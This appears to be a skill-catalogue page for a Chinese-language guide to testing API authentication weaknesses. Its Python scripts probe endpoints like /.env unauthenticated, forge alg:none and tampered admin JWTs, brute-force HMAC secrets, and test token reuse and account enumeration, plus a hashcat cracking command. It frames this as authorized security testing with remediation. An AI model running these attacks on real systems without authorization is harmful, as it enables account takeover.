L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

testing-api-authentication-weaknesses

testing-api-authentication-weaknesses

测试API认证机制中的弱点,包括令牌验证失效、端点未强制认证、密码策略薄弱、凭据填充风险、 URL或日志中的令牌泄露,以及会话管理缺陷。评估JWT实现、API密钥处理、OAuth流程和会话令牌熵, 以识别认证绕过漏洞。对应OWASP API2:2023 认证失效(Broken Authentication)。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: testing-api-authentication-weaknesses description: > 测试API认证机制中的弱点,包括令牌验证失效、端点未强制认证、密码策略薄弱、凭据填充风险、 URL或日志中的令牌泄露,以及会话管理缺陷。评估JWT实现、API密钥处理、OAuth流程和会话令牌熵, 以识别认证绕过漏洞。对应OWASP API2:2023 认证失效(Broken Authentication)。 domain: cybersecurity subdomain: api-security tags: [api-security, owasp, authentication, jwt, session-management, credential-security] version: 1.0.0 author: mahipal license: Apache-2.0

测试API认证弱点

适用场景

  • 在生产部署前评估REST API认证机制是否存在绕过漏洞
  • 测试JWT令牌实现中的常见弱点(none算法、密钥混淆、缺少过期时间)
  • 评估是否所有API端点都强制执行认证,或者某些端点是否意外暴露
  • 测试API密钥生成、存储和轮换机制是否存在可预测性或泄露
  • 验证会话管理,包括令牌过期、吊销和刷新令牌安全性

不适用于未获书面授权的情况。认证测试涉及尝试绕过安全控制。

前置条件

  • 书面授权,指明目标API和范围内的认证机制
  • 至少两个用户角色(普通用户、管理员)的有效测试凭据
  • Burp Suite Professional及JWT相关扩展(JSON Web Tokens、JWT Editor)
  • Python 3.10+,安装 requests、PyJWT 和 jwt 库
  • 凭据测试的字典(SecLists认证字典)
  • API文档或OpenAPI规范

工作流程

步骤1:认证机制识别

import requests
import json

BASE_URL = "https://target-api.example.com/api/v1"

# 探测API以识别认证机制
auth_indicators = {
    "jwt_bearer": False,
    "api_key_header": False,
    "api_key_query": False,
    "basic_auth": False,
    "oauth2": False,
    "session_cookie": False,
    "custom_token": False,
}

# 测试1:检查未认证访问
resp = requests.get(f"{BASE_URL}/users/me")
print(f"未认证访问: {resp.status_code}")
if resp.status_code == 200:
    print("[严重] 端点无需认证即可访问")

# 测试2:检查WWW-Authenticate头
if "WWW-Authenticate" in resp.headers:
    scheme = resp.headers["WWW-Authenticate"]
    print(f"公告的认证方案: {scheme}")
    if "Bearer" in scheme:
        auth_indicators["jwt_bearer"] = True
    elif "Basic" in scheme:
        auth_indicators["basic_auth"] = True

# 测试3:登录并检查令牌
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"username": "testuser@example.com", "password": "TestPass123!"})

if login_resp.status_code == 200:
    login_data = login_resp.json()
    # 检查JWT令牌
    for key in ["token", "access_token", "jwt", "id_token"]:
        if key in login_data:
            token = login_data[key]
            if token.count('.') == 2:
                auth_indicators["jwt_bearer"] = True
                print(f"在响应字段中发现JWT: {key}")
    # 检查刷新令牌
    for key in ["refresh_token", "refresh"]:
        if key in login_data:
            print(f"在字段中发现刷新令牌: {key}")
    # 检查会话Cookie
    for cookie in login_resp.cookies:
        print(f"设置Cookie: {cookie.name} = {cookie.value[:20]}...")
        if "session" in cookie.name.lower():
            auth_indicators["session_cookie"] = True

print(f"\n检测到的认证机制: {[k for k,v in auth_indicators.items() if v]}")

步骤2:未认证端点发现

# 不带认证测试所有端点
endpoints = [
    ("GET", "/users"),
    ("GET", "/users/me"),
    ("GET", "/users/1"),
    ("GET", "/admin/users"),
    ("GET", "/admin/settings"),
    ("GET", "/health"),
    ("GET", "/metrics"),
    ("GET", "/debug"),
    ("GET", "/actuator"),
    ("GET", "/actuator/env"),
    ("GET", "/swagger.json"),
    ("GET", "/api-docs"),
    ("GET", "/graphql"),
    ("POST", "/graphql"),
    ("GET", "/config"),
    ("GET", "/internal/status"),
    ("GET", "/.env"),
    ("GET", "/status"),
    ("GET", "/info"),
    ("GET", "/version"),
]

print("未认证端点扫描:")
for method, path in endpoints:
    try:
        resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
        if resp.status_code not in (401, 403):
            content_preview = resp.text[:100] if resp.text else "empty"
            print(f"  [开放] {method} {path} -> {resp.status_code}: {content_preview}")
    except requests.exceptions.RequestException:
        pass

步骤3:JWT令牌分析

import base64
import json
import hmac
import hashlib

def decode_jwt_parts(token):
    """不验证签名地解码JWT头部和载荷。"""
    parts = token.split('.')
    if len(parts) != 3:
        return None, None

    def pad_base64(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
    return header, payload

# 分析JWT令牌
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)

print(f"JWT头部: {json.dumps(header, indent=2)}")
print(f"JWT载荷: {json.dumps(payload, indent=2)}")

# 安全检查
issues = []

# 检查1:算法
if header.get("alg") == "none":
    issues.append("严重: 算法设置为'none' - 令牌签名未验证")
if header.get("alg") in ("HS256", "HS384", "HS512"):
    issues.append("信息: 使用对称算法 - 检查弱密钥/默认密钥")

# 检查2:过期时间
if "exp" not in payload:
    issues.append("高: 无过期声明(exp) - 令牌永不过期")
else:
    import time
    exp_time = payload["exp"]
    ttl = exp_time - time.time()
    if ttl > 86400:
        issues.append(f"中: 令牌TTL为{ttl/3600:.0f}小时 - 时间过长")

# 检查3:载荷中的敏感数据
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
    if field in payload:
        issues.append(f"高: JWT载荷中包含敏感字段'{field}'")

# 检查4:缺少声明
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
    issues.append(f"中: 缺少标准声明: {missing}")

# 检查5:密钥ID
if "kid" in header:
    kid = header["kid"]
    # 测试kid中的路径遍历
    issues.append(f"信息: 密钥ID(kid)存在: {kid} - 测试是否可注入")

for issue in issues:
    print(f"  [{issue.split(':')[0]}] {issue}")

步骤4:JWT操纵攻击

# 攻击1:移除签名(alg: none)
def forge_none_algorithm(token):
    """创建带alg:none的令牌以绕过签名验证。"""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    header['alg'] = 'none'
    new_header = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    # none算法的多种变体
    return [
        f"{new_header}.{parts[1]}.",
        f"{new_header}.{parts[1]}.{parts[2]}",
        f"{new_header}.{parts[1]}.e30",
    ]

# 攻击2:不重新签名地修改声明
def forge_payload(token, modifications):
    """修改载荷声明并测试服务器是否验证签名。"""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
    payload_data.update(modifications)
    new_payload = base64.urlsafe_b64encode(
        json.dumps(payload_data).encode()).decode().rstrip('=')
    return f"{parts[0]}.{new_payload}.{parts[2]}"

# 攻击3:暴力破解弱HMAC密钥
COMMON_JWT_SECRETS = [
    "secret", "password", "123456", "jwt_secret", "supersecret",
    "key", "test", "admin", "changeme", "default",
    "your-256-bit-secret", "my-secret-key", "jwt-secret",
    "s3cr3t", "secret123", "mysecretkey", "apisecret",
]

def brute_force_jwt_secret(token):
    """尝试使用常见密钥破解HMAC签名的JWT。"""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
        print("非HMAC令牌,跳过暴力破解")
        return None

    signing_input = f"{parts[0]}.{parts[1]}".encode()
    signature = parts[2]

    hash_func = {
        'HS256': hashlib.sha256,
        'HS384': hashlib.sha384,
        'HS512': hashlib.sha512
    }[header['alg']]

    for secret in COMMON_JWT_SECRETS:
        expected_sig = base64.urlsafe_b64encode(
            hmac.new(secret.encode(), signing_input, hash_func).digest()
        ).decode().rstrip('=')
        if expected_sig == signature:
            print(f"[严重] 发现JWT密钥: '{secret}'")
            return secret

    print("未匹配到常见密钥 - 考虑使用hashcat/john进行扩展暴力破解")
    return None

# 测试所有攻击
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
    resp = requests.get(f"{BASE_URL}/users/me",
                       headers={"Authorization": f"Bearer {none_token}"})
    if resp.status_code == 200:
        print(f"[严重] alg:none绕过成功")

# 测试通过声明修改提升权限
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
                   headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
    print("[严重] JWT声明修改被接受,未验证签名")

brute_force_jwt_secret(token)

步骤5:令牌生命周期测试

# 测试1:注销后令牌重用
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
    headers={"Authorization": f"Bearer {token}"})
print(f"注销: {logout_resp.status_code}")

# 注销后尝试使用令牌
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
    print("[高] 注销后令牌仍有效 - 无服务端吊销机制")

# 测试2:密码更改后令牌重用
# (需要更改密码后测试旧令牌)

# 测试3:刷新令牌轮换
refresh_token = login_data.get("refresh_token")
if refresh_token:
    # 使用刷新令牌
    refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    new_tokens = refresh_resp.json()

    # 尝试重用同一刷新令牌(如已实现轮换则应失败)
    reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    if reuse_resp.status_code == 200:
        print("[高] 刷新令牌可重用 - 未实现轮换机制")

# 测试4:URL中的令牌(泄露风险)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
    print("[中] 令牌在查询参数中被接受 - 可能泄露在日志/Referer中")

步骤6:密码策略和凭据测试

# 在注册/更改端点测试密码策略执行
weak_passwords = [
    "a",           # 太短
    "password",    # 常见密码
    "12345678",    # 仅数字
    "abcdefgh",    # 仅字母,无复杂度
    "Password1",   # 符合基本复杂度但常见
    "",            # 空密码
    " ",           # 空格
]

for pwd in weak_passwords:
    resp = requests.post(f"{BASE_URL}/auth/register",
        json={"email": f"test_{hash(pwd)%9999}@example.com",
              "password": pwd, "name": "Test User"})
    if resp.status_code in (200, 201):
        print(f"[弱策略] 密码被接受: '{pwd}'")

# 通过登录响应差异测试账户枚举
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"

resp_valid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": invalid_email, "password": "wrongpassword"})

if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
    print(f"[中] 可进行账户枚举:")
    print(f"  有效用户: {resp_valid.status_code} - {resp_valid.text[:100]}")
    print(f"  无效用户: {resp_invalid.status_code} - {resp_invalid.text[:100]}")

核心概念

术语定义
认证失效(Broken Authentication)OWASP API2:2023 - 认证机制中的弱点,允许攻击者假冒合法用户身份
JWT(JSON Web Token)包含header.payload.signature结构的自包含令牌格式,用于无状态API认证
令牌吊销(Token Revocation)在令牌过期前使其失效的服务端机制,对注销和密码更改至关重要
凭据填充(Credential Stuffing)使用泄露的用户名/密码对,对认证端点进行自动化攻击
账户枚举(Account Enumeration)通过对有效/无效账户的不同错误消息或响应时间来确定有效用户名
刷新令牌轮换(Refresh Token Rotation)每次使用刷新令牌时生成新令牌的安全做法,防止令牌重用攻击

工具和系统

  • Burp Suite JWT Editor:用于解码、编辑和重新签名JWT令牌的扩展,支持多种攻击模式
  • jwt_tool:Python工具,支持12种以上攻击模式(alg:none、密钥混淆、JWKS欺骗)
  • hashcat:GPU加速密码破解工具,支持JWT HMAC密钥暴力破解(模式16500)
  • Hydra:网络登录暴力破解工具,支持HTTP表单和API认证测试
  • Nuclei:基于模板的扫描器,包含认证绕过检测模板

常见场景

场景:SaaS平台API认证评估

背景:某SaaS平台使用JWT令牌进行API认证。JWT在登录时签发,用于所有后续API调用。同时实现了刷新令牌机制。

方法:

  1. 认证并捕获JWT:算法为HS256,过期时间7天,载荷包含用户角色
  2. 测试alg:none绕过:服务器拒绝令牌(安全)
  3. 暴力破解HMAC密钥:发现密钥为"company-jwt-secret-2023"(使用hashcat和自定义字典找到)
  4. 用发现的密钥伪造管理员JWT:将"role"声明修改为"admin",重新签名获得管理员访问权限
  5. 测试令牌吊销:注销和密码更改后令牌仍然有效(无黑名单)
  6. 测试刷新令牌:刷新令牌无过期时间且可无限次重用
  7. 发现密码重置端点对有效/无效邮箱返回不同消息
  8. 发现/health和/metrics端点无需认证即可访问

注意事项:

  • 仅测试登录端点,未发现密码重置、MFA和令牌刷新流程中的认证弱点
  • 未检查JWT密钥在所有环境(开发、预生产、生产)中是否相同
  • 忽视令牌生命周期:7天JWT无吊销机制意味着被盗令牌一周内有效
  • 未测试服务器日志、URL参数或错误消息中的令牌泄露

输出格式

## 发现:JWT HMAC密钥可暴力破解且令牌不可吊销

**ID**: API-AUTH-001
**严重性**: 严重(CVSS 9.1)
**OWASP API**: API2:2023 - 认证失效
**受影响组件**:
  - POST /api/v1/auth/login(令牌签发)
  - 所有认证端点(令牌验证)
  - POST /api/v1/auth/logout(无效)

**描述**:
该API使用HS256签名的JWT令牌,密钥可暴力破解
("company-jwt-secret-2023")。发现密钥的攻击者可以
为任意用户(包括管理员)伪造令牌。此外,令牌不可吊销——
注销不会使令牌在服务端失效,7天过期时间意味着被盗令牌
在较长时间内保持有效。

**攻击链**:
1. 从已认证会话捕获任意有效JWT
2. 使用hashcat暴力破解HMAC密钥: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. 3分钟内恢复密钥: "company-jwt-secret-2023"
4. 伪造管理员JWT: 将"role"声明修改为"admin",用发现的密钥重新签名
5. 访问管理端点: GET /api/v1/admin/users 返回所有50,000个用户账户

**修复建议**:
1. 使用2048位RSA密钥对将HS256替换为RS256
2. 如必须使用HMAC,则使用至少256位的密码学随机密钥
3. 使用Redis实现令牌黑名单,处理注销和密码更改事件
4. 将令牌TTL缩短至15分钟,并实现刷新令牌轮换
5. 添加`iss`和`aud`声明验证,防止令牌跨服务被滥用
Skills enregistrées